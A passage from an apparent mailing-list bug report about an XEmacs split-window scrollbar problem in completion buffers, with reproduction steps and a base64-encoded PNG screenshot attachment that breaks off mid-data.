patch doesn't completely solve the problem. >> Do this: >> >> a. Split the screen vertically with C-x 3 >> b. C-x C-f some directory with a list longer than the screen length >> that would have triggered the bug. >> c. Notice the scrollbar at the bottom of the window on the right: >> >> >> >> d. If you click on the scrollbar, you'll notice that the window >> still thinks it's as wide as the frame, as shown by the arrows >> on the right edge. > I think in your case this is caused by the commentary text in the first line. > I have wrapping activated and there is no scrollbar then. Please tell me > if this should be fixed. As the commentary text in the first 2 lines > will allways be too small if the window width is small enough. Well, I had thought that might be the case, but I added the following step: (setq completion-default-help-string "x") between a and b. This resulted in the following: --=-=-= Content-Type: image/png Content-Disposition: attachment; filename=xemacs-split3.png Content-Transfer-Encoding: base64 Content-Description: What are those arrows? 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 